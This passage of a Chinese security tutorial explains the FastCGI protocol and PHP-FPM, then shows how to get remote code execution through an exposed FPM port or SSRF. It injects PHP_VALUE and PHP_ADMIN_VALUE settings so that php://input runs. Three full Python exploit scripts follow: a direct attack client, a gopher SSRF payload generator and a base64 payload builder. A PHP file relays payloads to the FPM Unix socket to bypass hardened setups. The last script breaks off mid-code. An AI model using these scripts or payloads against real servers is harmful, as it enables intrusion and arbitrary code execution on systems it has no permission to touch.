5 | web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 | php-fpm给web服务器回的正常响应消息的type就设为6
7 | php-fpm给web服务器回的错误响应设为7
看了这个表格就很清楚了，服务器中间件和后端语言通信，第一个数据包就是`type`为1的record，后续互相交流，发送`type`为4、5、6、7的record，结束时发送`type`为2、3的record。
当后端语言接收到一个`type`为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。环境变量的结构如下：
typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength]; unsigned char valueData[valueLength];} FCGI_NameValuePair11;typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair14;typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength];} FCGI_NameValuePair41;typedef struct { unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair44;
这其实是4个结构，至于用哪个结构，有如下规则：
1. key、value均小于128字节，用`FCGI_NameValuePair11`
2. key大于128字节，value小于128字节，用`FCGI_NameValuePair41`
3. key小于128字节，value大于128字节，用`FCGI_NameValuePair14`
4. key、value均大于128字节，用`FCGI_NameValuePair44`
为什么我只介绍`type`为4的record？因为环境变量在后面PHP-FPM里有重要作用，之后写代码也会写到这个结构。`type`的其他情况，看官方文档吧。
### PHP-FPM（Fast-CGI进程管理器）
**概述**
（其实下图的PHP解释器是狭义上的，意为“解释PHP”，而非解释器；真正的存在于PHP-CGI）
php-fpm 是一个实现和管理 fastcgi 协议的进程，fastcgi 模式的内存管理等功能，都是由 php-fpm 进程所实现的；本质上
fastcgi 模式也只是对 cgi 模式做了一个封装，只是从原来 web 服务器去调用 cgi 程序变成了 web 服务器通知 php-fpm 进程并由
php-fpm 进程去调用 php-cgi 程序。
也就是说，FPM其实是一个fastcgi协议解析器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM，FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子，用户访问`http://127.0.0.1/index.php?a=1&b=2`，如果web目录是`/var/www/html`，那么Nginx会将这个请求变成如下key-value对：
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1'}
这个数组其实就是PHP中`$_SERVER`数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充`$_SERVER`数组，也是告诉fpm：“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行`SCRIPT_FILENAME`的值指向的PHP文件，也就是`/var/www/html/index.php`。
**FPM的模式**
> **不同搭建环境配置文件位置不同，最好手工搭建！类似phpstudy和宝塔面板等很多安全选项会进行删割**
>
> **从此处开始均为手动搭建的环境！搭建方法见文末**
>
> **非标注的环境，均为手工搭建**
**TCP 模式**
TCP 模式即是 php-fpm 进程会监听本机上的一个端口(默认 9000)，然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000
端口，php-fpm 拿到数据后会调用 cgi 进程解析
nginx的配置文件像这个样子:
> /etc/nginx/sites-available/default
location ~ \.php$ { index index.php index.html index.htm; include /etc/nginx/fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; }
Windows下的配置如图（PHPstudy弄的）
php-fpm 的配置文件像这个样子
> /etc/php/7.3/fpm/pool.d/www.conf
listen=127.0.0.1:9000
**Unix Socket**
unix socket 其实严格意义上应该叫 unix domain socket，它是 unix
系统进程间通信（IPC）的一种被广泛采用方式，以文件（一般是.sock）作为 socket 的唯一标识（描述符），需要通信的两个进程引用同一个 socket
描述符文件就可以建立通道进行通信了。
具体原理这里就不讲了，但是此通信方式的性能会优于 TCP
> 位置同上
location~\.php${ index index.php index.html index.htm; include /etc/nginx/fastcgi_params; fastcgi_pass unix:/run/php/php7.3-fpm.sock; fastcgi_index index.php; include fastcgi_params;}
> 位置同上
listen = /run/php/php7.3-fpm.sock
### Nginx和IIS7的解析漏洞
Nginx和IIS7曾经出现过一个PHP相关的解析漏洞，该漏洞现象是，在用户访问`http://127.0.0.1/favicon.ico/.php`时，访问到的文件是favicon.ico，但却按照.php后缀解析了。
用户请求`http://127.0.0.1/favicon.ico/.php`，nginx将会发送如下环境变量到fpm里：
{ ... 'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php', 'SCRIPT_NAME': '/favicon.ico/.php', 'REQUEST_URI': '/favicon.ico/.php', 'DOCUMENT_ROOT': '/var/www/html', ...}
正常来说，`SCRIPT_FILENAME`的值是一个不存在的文件`/var/www/html/favicon.ico/.php`，是PHP设置中的一个选项`fix_pathinfo`导致了这个漏洞。PHP为了支持Path
Info模式而创造了`fix_pathinfo`，在这个选项被打开的情况下，fpm会判断`SCRIPT_FILENAME`是否存在，如果不存在则去掉最后一个`/`及以后的所有内容，再次判断文件是否存在，往次循环，直到文件存在。
所以，第一次fpm发现`/var/www/html/favicon.ico/.php`不存在，则去掉`/.php`，再判断`/var/www/html/favicon.ico`是否存在。显然这个文件是存在的，于是被作为PHP文件执行，导致解析漏洞。
正确的解决方法有两种，一是在Nginx端使用`fastcgi_split_path_info`将path
info信息去除后，用tryfiles判断文件是否存在；二是借助PHP-FPM的`security.limit_extensions`配置项，避免其他后缀文件被解析。
### Security.Limit_Extensions配置项
PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。
> 其实TCP模式下默认listen=127.0.0.1:9000（上面也能看见），除非工作人员手欠改成了0.0.0.0:9000就暴露了
此时，`SCRIPT_FILENAME`的值就格外重要了。因为fpm是根据这个值来执行php文件的，如果这个文件不存在，fpm会直接返回404：
然后可以在
`/etc/php/7.3/fpm/pool.d/www.conf`（手动安装下）
`/php/php-5.5.38/etc/php-fpm.conf.default`和`/php/php-5.5.38/etc/php-fpm.conf`（PHPstudy）
找到`Security.Limit_Extensions`选项：
同时该配置选项也会影响到Nginx的解析漏洞（废话）
所以需要找到一个服务器端本身自带的PHP文件才行..然而安装PHP后自带了很多预PHP文件；假设我们爆破不出来目标环境的web目录，我们可以找找默认源安装后可能存在的php文件，比如`/usr/local/lib/php/*`
虽然实际上，99%的站点都有index.php
### Fast-CGI攻击：FPM下TCP模式
那么，为什么我们控制fastcgi协议通信的内容，就能执行任意PHP代码呢？
理论上当然是不可以的，即使我们能控制`SCRIPT_FILENAME`，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。
但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项，`auto_prepend_file`和`auto_append_file`。
`auto_prepend_file`是告诉PHP，在执行目标文件之前，先包含`auto_prepend_file`中指定的文件；`auto_append_file`是告诉PHP，在执行完成目标文件后，包含`auto_append_file`指向的文件。
那么就有趣了，假设我们设置`auto_prepend_file`为`php://input`，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项`allow_url_include`）
那么，我们怎么设置`auto_prepend_file`的值？
这又涉及到PHP-FPM的两个环境变量，`PHP_VALUE`和`PHP_ADMIN_VALUE`。这两个环境变量就是用来设置PHP配置项的，`PHP_VALUE`可以设置模式为`PHP_INI_USER`和`PHP_INI_ALL`的选项，`PHP_ADMIN_VALUE`可以设置所有选项。（`disable_functions`除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）
>
> `PHP_VALUE`影响的是一个FPM进程，`PHP_ADMIN_VALUE`影响的是所有的进程；如果重复发送EXP，所有的进程都会受到影响（因为CPU会中断交替呀），影响力就从普通的“`Value`”变成了“`admin_Value`”
>
> 当然的，如果想从外网访问到你已经认为攻击到的FPM进程，多在网页刷新几次才行哦:joy_cat:
所以，我们最后传入如下环境变量：
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On'}
设置`auto_prepend_file = php://input`且`allow_url_include =
On`，然后将我们需要执行的代码放在Body中，即可执行任意代码。
成功如图所示
自己的魔改脚本如下（Linux限定，Windows暂无测试）：
import socketimport randomimport argparseimport sysfrom io import BytesIO# 修改自: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])def bord(c): if isinstance(c, int): return c else: return ord(c)def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return sclass FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('-u','--host', help='Target host, such as 127.0.0.1') parser.add_argument('-f','--file', default="/var/www/html/index.php",help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
如果你只是想要获得Payload，方便利用SSRF打进去的话，我又改了一下：
import socketimport base64import randomimport argparseimport sysfrom io import BytesIOimport urllib.parsePY2 = True if sys.version_info.major == 2 else Falsedef bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])def bord(c): if isinstance(c, int): return c else: return ord(c)def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return sclass FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): # if not self.__connect(): # print('connect failure! please check your fasctcgi-server !!') # return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) #print base64.b64encode(request) return request # self.sock.send(request) # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND # self.requests[requestId]['response'] = b'' # return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('-u','--host', default="127.0.0.1",help='Target host, such as 127.0.0.1') parser.add_argument('-f','--file', default="/var/www/html/index.php",help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) response = urllib.parse.quote(response) print(urllib.parse.quote("gopher://" +str(args.host)+":"+str(args.port) + "/_" + response))
用法类似，不过是生成payload而已
当然，也可以使用Gopherus生成payload
效果一样的
### Fast-CGI攻击：FPM下Socket模式
默认配置下就是这个模式
本地系统的进程们使用同一个Unix套接字相互通信，所以无法SSRF远程攻击（因为压根没走网络协议层:sob:)
这种情况就适合目标主机存在两套PHP环境，一套防护力度很强，比如phpstudy等面板搭建的；一套是手动搭建的，默认是fastcgi且socket模式；这样就可以绕过了。很多企业环境没配好或者没卸载干净就会这个样子，很常见。这个时候需要在目标站点写个php文件，内容如下：
<?php$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');$temp=base64_decode($_POST['x']);fputs($sock, $temp);var_dump(fread($sock, 4096));#var_dump(iconv('gbk','utf-8',fread($sock,4096)));?>
代码很简单，直接把payload传给套接字发出去而已；payload使用魔改后的脚本，当然可以不需要base64编码，方便后续压缩而已：
import socketimport base64import randomimport argparseimport sysimport urllib.parsefrom io import BytesIOimport urllib.parse# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])def bord(c): if isinstance(c, int): return c else: return ord(c)def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return sclass FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): # if not self.__connect(): # print('connect failure! please check your fasctcgi-server !!') # return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) print(base64.b64encode(request)) #return request # self.sock.send(request) # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND # self.requests[requestId]['response'] = b'' # return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: 